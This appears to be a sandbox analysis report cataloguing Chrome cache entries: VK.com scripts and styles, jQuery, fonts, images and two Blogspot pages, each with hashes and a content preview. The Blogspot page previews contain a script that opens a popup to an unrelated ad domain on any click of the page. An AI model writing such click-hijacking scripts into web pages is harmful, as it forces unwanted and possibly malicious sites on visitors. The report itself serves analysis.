r=1/0;for(t=0;t<e.length;t++){for(var[c,a,n]=e[t],b=!0,_=0;_<c.length;_++)(!1&n\|\|r>=n)&&Object.keys(__webpack_require__.O).every((e=>__webpack_require__.O[e](c[_])))?c.splice(_--,1):(b=!1,n<r&&(r=n));if(b){e.splice(t--,1);var u=a();voi

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (4593)
Category:	downloaded
Size (bytes):	379856
Entropy (8bit):	5.1970550426677535
Encrypted:	false
SSDEEP:	6144:Mw7cHHqr0LvyjqcZkyqfHbrH5pFkw6eiFhxxjSJupU3jNEEJBRbKsLjQp2orzU2V:Mw7cHHqr0LvyjqcZIZpx6eiFhxxjSJzC
MD5:	E7CB8457FAD2A0F92598818D3201430F
SHA1:	FA332F3487CEBE1BC3814764D3B8A34AC43F02AE
SHA-256:	E15148F12516B5190FB43D5F35D1F4AAF29A32DEC4B6C11DF4B1AE3206971D4E
SHA-512:	6032824AD32CC10F3F4C59FFBA905C4DA48A2041F029F25065B06D42CF392643E682AD24F0FA5114EF96A2CB526F0F2AB2AA885BCCF34F1B7F46B56914B0EDDA
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/vkcom-kit.cd5950c0.css
Preview:	..PrimaryAttachmentVoiceRoom-module__container--yihWN{display:grid;grid-template-columns:100%;grid-template-rows:450px 1fr;width:100%;height:100%;cursor:pointer;box-shadow:inset 0 0 0 var(--vkui--size_border--regular) var(--vkui--color_image_border_alpha);border-radius:var(--primary-attachment-border-radius, 8px);box-sizing:border-box;background-color:var(--vkui--color_background_secondary);overflow:hidden}.PrimaryAttachmentVoiceRoom-module__footer--QenT8{display:flex;align-items:center;padding-left:20px;padding-right:20px}.PrimaryAttachmentVoiceRoom-module__button--sxzYJ{box-shadow:var(--vkui--elevation3)}..QRCodeBase-module__root--_I3Mj{overflow:hidden;box-sizing:border-box}..OnboardingBanner-module__root--aSdf8{box-sizing:border-box;width:100%;max-width:510px}.OnboardingBanner-module__root--aSdf8 .vkuiBanner__in{overflow:visible}.OnboardingBanner-module__root--aSdf8:not(.OnboardingBanner-module__transparent--xlr5L) .vkuiBanner__in{background-color:var(--vkui--color_background_tert

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (28233)
Category:	dropped
Size (bytes):	74310
Entropy (8bit):	5.788382688364084
Encrypted:	false
SSDEEP:	1536:PYwUFxkyipWYB4mfpMpQQYjWmB+fpMpQQYjW5HmzZaXKZaD:DmkyitBZ6p0jhB+6p0jiHmzpZ6
MD5:	67E568035DA814ADC993C8BE32A466AD
SHA1:	FD4FDAB17CB97DA44287262FC0FEB73CA0941130
SHA-256:	75FACD51EC278705569AB98F20516CD7F5F7E909939C065F5341DA3F149CF2D5
SHA-512:	E3F4B27CC0FE354EAB341B80F9C17477F5E659C115E82DD946E6EF6A1F528287B83281CD22FC2F7F95AC4A6EB24D115DC36ACEBDD8B8426E4D58CB4D4A1E7EAA
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html dir='rtl' lang='en-US' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>.<head>.<script type='text/javascript'>..document.body.onclick= function(){..window.open('https://accompanimentrealistic.com/qqmxnq69g4?key=e9c5afd545019ee1fdd79ed9c52c406f', 'poppage', 'toolbars=0, scrollbars=1, location=0, statusbars=0, menubars=0, resizable=1, width=800, height=600, left = 300, top = 50');..}</script>. Defult metatags -->.<link href='https://sqsq2938.blogspot.com/2024/10/365.html' rel='canonical'/><link href='https://sqsq2938.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/><meta content='width=device-width, initial-scale=1.0, shrink-to-fit=no' name='viewport'/><title>.... .... .... 365 </title><meta content='6002409460088195649' id='gels'/><meta content='' name='theme-color'/><meta content='' name='msapplication-navbutton

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32341)
Category:	dropped
Size (bytes):	96381
Entropy (8bit):	5.38156916982579
Encrypted:	false
SSDEEP:	1536:EPpEy5BMibZGOj/bEe8v+/UWf4IhvAuCh/jqkODZ2D5N9Rag0MOIdSZAgtgoX5Yn:bIO/e2D5c4LgtImLja98HrK
MD5:	8FC25E27D42774AEAE6EDBC0A18B72AA
SHA1:	B66ED708717BF0B4A005A4D0113AF8843EF3B8FF
SHA-256:	B294E973896F8F874E90A8EB1A8908AC790980D034C4C4BDF0FC3D37B8ABF682
SHA-512:	87D90A665C15D71AC872BD8BC003D9863964C7EC7ADA6370B902B93C0BBD7770FE25730D946C7C6A465BAA95EFA74BC0E78AF3F83AEA615AF35060CC8702A6C1
Malicious:	false
Reputation:	low
Preview:	/! jQuery v1.11.0 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k="".trim,l={},m="1.11.0",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,functio

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4279)
Category:	downloaded
Size (bytes):	145622
Entropy (8bit):	5.54579798428338
Encrypted:	false
SSDEEP:	1536:mqJ3/aJF3n5W69MZ5KMep62S5WSJAJkcpVra09YAVAr6PEepgV6OruIOVe4D1mB+:QJF66/uLcV9Y0gjllGbUnbSw6jRqm
MD5:	A07AB2548BCED4C8B1431455CDD020CD
SHA1:	8AD54E7E2BA4DE4D1E7AFACA52306C0A81AE40AC
SHA-256:	B7F75B19ECC538A84719F23AC5693033D53AB02CE0C097D6B4D12B5E920A592E
SHA-512:	A82D5885CF2A5DCAF2FB532C04BD2F8B0DE093D0A57F08B9FD4DB0F8392406602B780B7F814AB0D86EB85B1ACFACD067E9D5F405BC2B6810D578CF2C3CAD3529
Malicious:	false
Reputation:	low
URL:	https://www.blogger.com/static/v1/widgets/3650705295-widgets.js
Preview:	(function(){/.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var aa="&action=",ba=".wikipedia.org",ca="SCRIPT",da="SPAN",ea="SW_READER_LIST_",fa="SW_READER_LIST_CLOSED_",ha="Share this post",ia="Symbol.dispose",ja="Symbol.iterator",ka="about:invalid#zClosurez",la="about:invalid#zSoyz",ma="bigint",na="block",oa="boolean",pa="click",qa="collapsed",ra="collapsible",sa="comment-editor",ta="commentId",ua="complete",va="contact-form-email",wa="contact-form-email-message",xa="contact-form-error-message",ya="contact-form-error-message-with-border",za="contact-form-name",.Aa="contact-form-submit",Ba="contact-form-success-message",Ca="contact-form-success-message-with-border",Da="data-height",Ea="displayModeFull",Fa="displayModeLayout",Ga="displayModeNone",l="div",Ha="dropdown-toggle",Ia="error",Ja="expanded",n="function",Ka="hidden",La="https:",Ma="layout-widget-description",Na="layout-widget-ti

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, Unicode text, UTF-8 (with BOM) text, with very long lines (30321), with no line terminators
Category:	downloaded
Size (bytes):	30325
Entropy (8bit):	5.527008051213335
Encrypted:	false
SSDEEP:	768:0Mj/MpQkZyCKrActVcEUXIeligWXA/C4/C3nuGEBtSWjvvBxz8eEsy1kPTbTsDEp:0MrM3EcZWXA6463nuGEBtSqvHQ1kPTX5
MD5:	D5D1F5155976C4AA1D5850FE242344CE
SHA1:	9359BE2696928C8D69A63335D072E6E5C32AACA7
SHA-256:	878776AFA22F8593C4D055795009A5ADDB0101C63CA3A3B8680701AC10EA7E9B
SHA-512:	703F28D234286CB9E964283B93A5474A13560F4D9F199828676A370B8FD2657576C6866F622E0682CE79B406951A8E2DE4C3D47797446CB574B4A5BF50481E69
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/b867618a.87f1527d.js
Preview:	.(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[94346],{581204:(e,t,r)=>{"use strict";r.d(t,{ALLOWED_APP_SETTINGS_KEYS:()=>l,CONNECT_DOMAIN:()=>a,DEFAULT_DOMAIN:()=>d,DOMAIN_FILE_URL:()=>c,LANGUAGES:()=>u,LOGIN_DOMAIN:()=>o,MODAL_IFRAME_Z_INDEX:()=>h,OAUTH_DOMAIN:()=>s,VERSION:()=>n});const n="0.4.4",i="vk.com",o=`login.${i}`,s=`oauth.${i}`,a=`id.${i}`,d="vk.com",c="https://vk.ru/domain.txt",l=["agreements","promo","vkc_behavior","vkc_auth_action","vkc_brand","vkc_display_mode","service_groups","external_device_id"],u={RUS:0,UKR:1,ENG:3,SPA:4,GERMAN:6,POL:15,FRA:16,TURKEY:82},h=999999},867122:(e,t,r)=>{"use strict";var n;r.d(t,{CommonErrorReasons:()=>i,ERROR_CODES:()=>n}),function(e){e[e.UNKNOWN=1]="UNKNOWN",e[e.MISSING_PARAM=2]="MISSING_PARAM",e[e.CONNECTION_LOST=3]="CONNECTION_LOST",e[e.USER_DENIED=4]="USER_DENIED",e[e.INVALID_PARAMS=5]="INVALID_PARAMS",e[e.CUSTOM=6]="CUSTOM",e[e.LOADING_ERROR=7]="LOADING_ERROR",e[e.CONNECT_WINDOW_CLOSED=7]="CONNECT_WINDOW_CLOSED",e[e.C

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 20984, version 1.0
Category:	downloaded
Size (bytes):	20984
Entropy (8bit):	7.9893773226083455
Encrypted:	false
SSDEEP:	384:xoyGehLk2wrVpBaxCBIWKaDsPfnD84Q+AM6gmtvxyu6Y7QZ3kPQ+80D:xoythLdwrVDaIOaKfnwf5Zvx7B7QZURf
MD5:	5A79AC80812BC6CBD5E44AFF122857CA
SHA1:	EFAD2E76E16815A1C9A1895F073A37DEBB064935
SHA-256:	CC0548FC0C4A7878476DBECE67704DCC023CEF5A509CEF803E7CCF36C3EBF9EC
SHA-512:	5FDA4008B35160A1ED12F704BA327BD7429A9F2B6CC7D596DF4151DFB2D25A53C01FAF169E24BAA04C908829071C39847F054B5542C2208DEB56CF38658FF90E
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/bevan/v24/4iCj6KZ0a9NXjG8dWCs.woff2
Preview:	wOF2......Q........L..Q...........................T..4..8.`....l........\..:..&..6.$..H. .....k..=.].'..v.(..3g.~......(4..5f#b.8...{.....T..>h?...U&..=dK-.&..GC...C.P5..x......_.'U.j6.',f..j........:..G.!...o.\.`ZOp#++......R..~S=../...{r..U..!2AT..X......au. R.g.:.'\.QQ.UT.u.N...V.....f#O.z..U.b...e.d............1...Y...!..!.A.....y~...{..ma..F,.........p..R..,S...9W....sf.K. iZ^...8...Q....}=%..".b.....E.n...A.g%..D.i^$B..v.Z..h.nv..U..j..n......w...O&......V..O.]!Dy...^v7..4ap..P.zp....R=......==3.. EE.D.....!.x......R.U.x<...k.b..G..m.1.ZQAS.U........D...[t......=.^..v7...}.M.'.$..>>>..D\|..H.~..M......M{.CB.......#Z)O`...z-...l.B.......;./.$...x....y.;.c.?U5u.JC.C~&.....4..\.~`..f.3....V.....[n@.......;...'b_R..MT...24..,...m....wY9g.K(...>..........D._.ar.PI\.....kjj.......g.P.(ra..62J...DX..T.._W.w.I.1.`#.Sb.......S....{?$!.O......x%..!..}}...w.6.!g.;...f.c.]L..&.w..lgo..r...E....p..3tVK7.'.9}...?...).F.....VI{.!" ...}.....3;..J,..`g.

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 9900, version 1.0
Category:	downloaded
Size (bytes):	9900
Entropy (8bit):	7.978646434768705
Encrypted:	false
SSDEEP:	192:QC2S9zsmVUjqM+Xtixu2qtVhsLlYcPOYnOpTg++DaN8K0EUiBbxm4:RVXXtrRhsLp2yug+hCqBbp
MD5:	7256BE46335261573E1AB1DC7F6539F0
SHA1:	ABEAC1B7890A903AC951C522BC9B3039EC6FA1F8
SHA-256:	9986DE5DB80EC050300F1CEA25D651A5779AE62B91A39B5667AC23D0C7668CBB
SHA-512:	16A93177EB4340D61C62E2D9605C8249B0558AA42D6490210E94939FB155379F0694C72225B55E471979134CC111104867676CEBC5901AF21AA4818821E3591B
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/tajawal/v10/Iurf6YBj_oCad4k1l8KiHrFpiQ.woff2
Preview:	wOF2......&.......b,..&Q.............................v.`........l.x..:..6.$..p. .....v....OUGh.....(..p.%.4J....Nd...]U.Q..$.......A..Q....tGS..l...Yh{&+g.,..W....:.I....z.8`.c.8.F.....}.K@..=y.T.5.j.R-1....CNbI..d....?..N... ......A....S0.t.t.:{Y....\.......^....{~...cP..I 8>.`.8].jd[...rj.v\...C.eZp.4..^.Te.....W"..^.k..,....kB.Z.$..V....U...L.K.8...W.D"..BU.YAW.....~....w...........k.4.X..A....XW.f{.>P.tHU....;.+....B...'......@R...O... h(..z8.L.s.CLU.si..]U.{W.({..7.....d..P.a.Z..'......GU...<8.......9.......NS.........}..,""C.K. .r*.....}....P./!.k?a.P%f.x....!6..[l........./C.Z..}.C.../. ....P.B..3.w`...]%..j.%.s...EsU....Y;.....8__6u.d.X^...N'I..kQ..y.x..Z.^....<.2.'.........~...Z...6.)..lFVE.J.)W.R.j5..k...M......1j..;..^..t.1.M.q.Y.w.........-F./440,,(llnxx...y.....-....Z.\H@.%./.S...r5\|..1e..NK..R...`!....../.B`..`....(...z=...:H..!...eza^f..s..n.k.;8</.d.z.0.N.\XT..).>!OV......Y..M}X.^..u.g.X.......t.c.Xw..g.Xx...y.x..4......A..k`.

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (28233)
Category:	downloaded
Size (bytes):	74239
Entropy (8bit):	5.785441742149196
Encrypted:	false
SSDEEP:	1536:LYxUFxkyipWYB4mfpMpQQYjWmB+fpMpQQYjWBHmzzFX8Zab:+mkyitBZ6p0jhB+6p0jOHmz+Z0
MD5:	2E8F863613E687AE628E0DB56768C3F6
SHA1:	57F589A13DA3163902FE2F5C4325DF50D959EA33
SHA-256:	2BF598443DA37843DFA5B9F18F15BEE1D1CFB447F7E7F0E65D4A79286F7B2B80
SHA-512:	EC03054274D6AFD751AAC5EA4237A0A351525E948F8F0A5865430EED3ED55FC89F91B1BC844A43F929019E423074A77561D363E0C30EA449330ABB235295F40A
Malicious:	false
Reputation:	low
URL:	https://sqsq2938.blogspot.com/2024/10/6_11.html
Preview:	<!DOCTYPE html>.<html dir='rtl' lang='en-US' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>.<head>.<script type='text/javascript'>..document.body.onclick= function(){..window.open('https://accompanimentrealistic.com/qqmxnq69g4?key=e9c5afd545019ee1fdd79ed9c52c406f', 'poppage', 'toolbars=0, scrollbars=1, location=0, statusbars=0, menubars=0, resizable=1, width=800, height=600, left = 300, top = 50');..}</script>. Defult metatags -->.<link href='https://sqsq2938.blogspot.com/2024/10/6_11.html' rel='canonical'/><link href='https://sqsq2938.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/><meta content='width=device-width, initial-scale=1.0, shrink-to-fit=no' name='viewport'/><title>.... ...... 6</title><meta content='6002409460088195649' id='gels'/><meta content='' name='theme-color'/><meta content='' name='msapplication-navbutton-color'

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3514
Entropy (8bit):	7.901379556986315
Encrypted:	false
SSDEEP:	96:tuPvRrGRV7Rz2oy2ydyD7DOGRTaY2/xpDlq8mY7:g31GR5F2wyQ7DOGEDgu7
MD5:	3AE8C89C8ABE0993AFE6CD44C926CF88
SHA1:	E1F0C0785A5588C715AD41344609E6FB8DEBA9AD
SHA-256:	9AFC69ABB9F363EF0C2A1DCA6B641F2FAE81F387760B36AC4CF25217BFA74364
SHA-512:	60A4AE54F08E5EFBB6CFDD4E33B41DC5F721A9E7FC3B66FB169BC33368758080D88297D344E0A4F02759C1E7960A65FDFC024F914814E86C11E96971AA310E31
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...<...<.....:..r....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATh..[{pTU...s.."..tg...+.H ...B-.....q78.uYK..g.rw-.....f.Z.t.-.1..)q.....V...IL.!..@...6.G'.}.........$.I:....rs....=...w......`.A...........UUa.........P(...>..v...a.e..l0....bhhH.D".:::6......wc8...D"6UUe..$).p8.Q..**:...\..M.6]q8....<....R.X,...!..v.?.. ...f..R.I.....r.J....1f.K4}.".A..n..i.>..../\.p.__.=.@.LUU{.z..A.4.X\|......$Ikmm..h......K............GX........MMM..9s....NG.....+..\|...{.......~[VVv.j..I..B...0...,#...jii......p8.s+n.....G.......Z^^..M..,((8E).....K..J...........P(wN.S...._~...K.n...~..eY.KU...B`.Zq.....k.......L@.u......w.....7........ ..X,8r..\|..'/.B...o...(.....k.~]SS..j..W...(....?..gG...~S3..p....{..OK.42S.......a...[.jmm...f.---{\|>_Imm....{.wE...D..(....H.C(v.2..........0......5T...VW.0..L.y..-zzz6...._.v..V.u4....G....=...cccx.W...w...

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=1, software=Google], baseline, precision 8, 256x320, components 3
Category:	downloaded
Size (bytes):	34207
Entropy (8bit):	7.976769167146536
Encrypted:	false
SSDEEP:	768:TfC9bbKpPexgsOjQitq3vq4DrQEP4tFALI4HCeU:Tf2OnkiSvJDrFoALHCeU
MD5:	FEF447340E571CC16E3D2117E5F7DD47
SHA1:	88769B36EB0C6F3EBDAD7ED3C6D666B0E54C443C
SHA-256:	94CDF01B5FA53D8CDC999B55D143D7D8C152E6B58E4E03C5B4C685D3F72751B8
SHA-512:	509A6AB2B2922F347387B44F8CE084CF6FEE5064C015836572BCB4DDEAF45BF685C19010C7F3EF09EEC313DD12B038951C4EECC064B77C142E078080F5179832
Malicious:	false
Reputation:	low
URL:	https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjZ2wuKeUDSK0w0px0GXL68U_8hwq1x5ZclkWCM98U9Ltg9k2_fStCvFHrkzRLxxZVYq7jlZaFiIgcOW8JZoS2lKtioQGF1vv9slVlt_ouF_EqPViGpjWvfaenf-2iPUqjKS5r_wuN-QzxQcfliUgCiY9Ct5yAPJg633GzebpgmYyXjriEqb8IE-6OF_RL/s320/IMG_20240913_023407_864.jpg
Preview:	......JFIF.............Exif..II.......1...............Google..............................................................................................................................................@..............................................P.........................!.1A.."Qa..q.#2B......R....$3br..%4tu...&Ccs..5EST....................................9........................!1AQ.."aq2.....#.B.....R.3b$4..............?...A....W/..A...p.A.5..G..%..=..%..A...@....-......V..xC..<:.....a.\|.Y..A.....Q..P..,0.,.. 3..#.D. u.k.V.p.B.$...R..7...}.e...p..s........u..}...A_.p...Y.!.iqR...<=..j.....8B.J.:..(1 .(.xB...5.4.C..O..Z\!....qDtXq....G.......G....._...R..B.L..Are..a.j.OL0I....._....C....p...G.p.. .&.C...c.4.[....Z.L5.pT.,8'.C.....}...tG..(..V..A.E...hj.`.,=(..!BR....:A...{....l..r.M...8tt8B..D0.)...B.2.e....^.H...o...7.n..U...(fe.u.N..Y.O.K.n4.. 9.^.%$....a...... ...-:,...\.H......,....O..Y.YQuG.....<b... .l........iy....b$.-.;F.k.EFe..,.lH....k-.v..>.,.

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65532), with no line terminators
Category:	downloaded
Size (bytes):	100534
Entropy (8bit):	5.42698346580827
Encrypted:	false
SSDEEP:	768:/0QYC1ykH+UQy5zh8RA7/4/1HMTENGNClIze9jK7TXomtpf/50JjhLyR3gGa/NIM:467/y21Xom354jhyhglqxPuu0Tlexo
MD5:	781858C6C533C2233D7FC83892577326
SHA1:	C1D3DC05EECB6182644D922A48993306F3D607EC
SHA-256:	71D795F47CB129B80F7FB42675A7066033A9F27D980FE97DEED3E9EFCE3FBE66
SHA-512:	050F66D4BAE8921C9F59B2AB5AAB1C62BCB5C1329174CBD722F4FFF578415436E2E9C8712E82981A46EF998D782196EDD2968D368D3AFD195E618D3B49808CD0
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/api/widgets/polyfills.0afb34f6.js
Preview:	.(()=>{var t,e={97665:(t,e,r)=>{"use strict";var n=r(30251),o=r(61933);class i{addEventListener(t,e){t in this.listeners\|\|(this.listeners[t]=[]),this.listeners[t].push(e)}removeEventListener(t,e){if(!(t in this.listeners))return;const r=this.listeners[t];for(let t=0,n=r.length;t<n;t++)if(r[t]===e)return void r.splice(t,1)}dispatchEvent(t){if(!(t.type in this.listeners))return;const e=e=>{e.call(this,t)},r=this.listeners[t.type];for(let t=0,n=r.length;t<n;t++)e(r[t]);return!t.defaultPrevented}constructor(){Object.defineProperty(this,"listeners",{value:{},writable:!0,configurable:!0})}}class s extends i{toString(){return"[object AbortSignal]"}dispatchEvent(t){"abort"===t.type&&(this.aborted=!0,"function"==typeof this.onabort&&this.onabort.call(this,t)),super.dispatchEvent(t)}constructor(){super(),this.listeners\|\|i.call(this),Object.defineProperty(this,"aborted",{value:!1,writable:!0,configurable:!0}),Object.defineProperty(this,"onabort",{value:null,writable:!0,configurable:!0})}}class

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (28710), with no line terminators
Category:	downloaded
Size (bytes):	28713
Entropy (8bit):	5.42240952557107
Encrypted:	false
SSDEEP:	768:Ic5rWkl5vn6hIUdIOFLXCWB43S6H7w0PRXWYkjMJCBr/w5fjHPLRHILDXVfEx2QD:B5rWklJQ0w/pw7HjasVt
MD5:	4CA69645CAE9415EE82E326F20A02132
SHA1:	42DF7379D163D172E8E0D80EFF2667A173C28D2A
SHA-256:	795E099311C8CC807A3233446EEBBD00227223ACABEC5300BF873FFCC5F8A6CB
SHA-512:	7F6470EFDB16FC5DA948CB5F2D2459C5DB38CE4D2D89C8AADB82AAAE504F3B87301D1CC05FB4E18B766DBDB404BB359B808C0CCDF53590DFFEC433C93BD7FDF9
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/defad8f6.8d30344a.js
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[37957],{335700:(e,t,i)=>{i.r(t),i.d(t,{UIGallery:()=>h,UI_GALLERY_CLASSNAME:()=>d.UI_GALLERY_CLASSNAME,UI_GALLERY_CONTENT_CLASSNAME:()=>d.UI_GALLERY_CONTENT_CLASSNAME,UI_GALLERY_INNER_CLASSNAME:()=>d.UI_GALLERY_INNER_CLASSNAME,uiGetGallery:()=>_});var o=i(558137),n=i(898848),s=i(939646),r=i(972332),l=i(593159),a=i(754866),d=i(15614);const c=(0,o.makeSharedState)("ui-gallery",(()=>({galleries:{},incIndex:0})),{version:0});function _(e){const t=(0,a.domData)((0,a.ge)(e),"gallery-id");return t&&c().galleries[t]}class h{_checkSizesAndUpdate(){return 0!==this._width&&0!==this._itemWidth\|\|(this._width=Math.round((0,a.getSize)(this._el)[0]),this._itemWidth=(0,a.getSize)(this._items[0])[0],this._itemFullWidth=this._itemWidth+this._itemOffset),!(0===this._width\|\|0===this._itemWidth)}_initScroll(){(this._opts.scrollX\|\|this._opts.scrollY)&&(this._opts.isModernTransitionsEnabled\|\|(0,r.addEvent)(this._innerCont,"DOMMouseScro

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (27036), with no line terminators
Category:	downloaded
Size (bytes):	27039
Entropy (8bit):	5.4814745492206285
Encrypted:	false
SSDEEP:	768:INg2JNm3Mp8WEbXn/aB8aL3KNLObrvVXf8ApLpWFWzZ3S/GoBK9ps4wZ:E/FQX/y84CLWtNW0x2
MD5:	1F81F065BD7B989529E22D714607F519
SHA1:	D039799F00B938E56535583D71FE46DC3B131E09
SHA-256:	7B682207BF25F8EF1F6EC9C7C423AC58DA4C6A74F76B139EED719586EC1A6E95
SHA-512:	CC2DE1342AF32749759CA462E4A0E3F656C98FFCF6D579C71C19A2C9727C1489120447D5C549493585E6322002A189625ACA72467EC99A20CC5C6AFC72C5323B
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/ddeb46d0.004a9a62.js
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[53936],{175661:(e,t,n)=>{n.d(t,{registrationItemStat:()=>i});var o=n(314309);const r=new o.ProductionStatCollector,a=new o.ActionStatCollector(r),i=new o.RegistrationItemStatCollector(a)},122785:(e,t,n)=>{n.d(t,{VK_WEB_AUTH_APP_ID:()=>r,initVkId:()=>a});var o=n(772902);const r=7913379;function a(){const{loginDomain:e,connectDomain:t}=window.vk.apiConfigDomains;o.Config.init({appId:r,loginDomain:e,connectDomain:t})}},171210:(e,t,n)=>{var o;n.d(t,{AuthAppId:()=>o}),function(e){e[e.VK=7913379]="VK",e[e.MVK=7934655]="MVK"}(o\|\|(o={}))},358820:(e,t,n)=>{n.d(t,{showErrorNotification:()=>s});var o=n(474848),r=n(915424),a=n(516742),i=n(211413);function s(e){const t=window.cur;(0,i.showMessageBoxModal)((({onClose:t})=>(0,o.jsx)(r.ModalCardBase,{header:e.title,subheader:e.text,onClose:t})),{hideOnBGClick:!0,onDestroy(){t.zNavInfo&&(0,a.zNav)(t.zNavInfo.info,t.zNavInfo.opts)}})}},731906:(e,t,n)=>{n.d(t,{initJoinVKConnectBut

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65461)
Category:	dropped
Size (bytes):	210595
Entropy (8bit):	5.296535149849419
Encrypted:	false
SSDEEP:	3072:Whf1JzQ5UVLJWheWTwhCZQ/gin3UW1Cf0+J9Ztrg:W9XYQfWchCy/gcEW1Yltrg
MD5:	1F214AB2D8A71A43C2C7B23B5B54F14A
SHA1:	B9A0AD0D6F16EB6937917A74ACDEB05021ADDBC9
SHA-256:	DEE77C2AB1050843E355E98E1DCA6D33EBA2B3633FE1107DC6738811B47631B0
SHA-512:	3C8061D6EFD57D212FE7B9D6632E0A1E9D91FD8186251E500419E55C36EE14A8D6367288006F5EFDA7095600BC0C32122867E13B021AB0782FB83EE64FD142E7
Malicious:	false
Reputation:	low
Preview:	./! For license information please see react.6a15a5cc.js.LICENSE.txt /.(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[50560],{302694:(e,t,n)=>{"use strict";var r=n(6925);function a(){}function l(){}l.resetWarningCache=a,e.exports=function(){function e(e,t,n,a,l,o){if(o!==r){var u=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw u.name="Invariant Violation",u}}function t(){return e}e.isRequired=e;var n={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:l,resetWarningCache:a};return n.PropTypes=n,n}},605556:(e,t,n)=>{e.exports=n(302694)()},6925:e=>{"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},617633:(e,t,n)=>{"use strict";var r=n(296540);function a(e){for(var t="http

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=3, software=Google], progressive, precision 8, 300x169, components 3
Category:	downloaded
Size (bytes):	5203
Entropy (8bit):	7.7449980931913975
Encrypted:	false
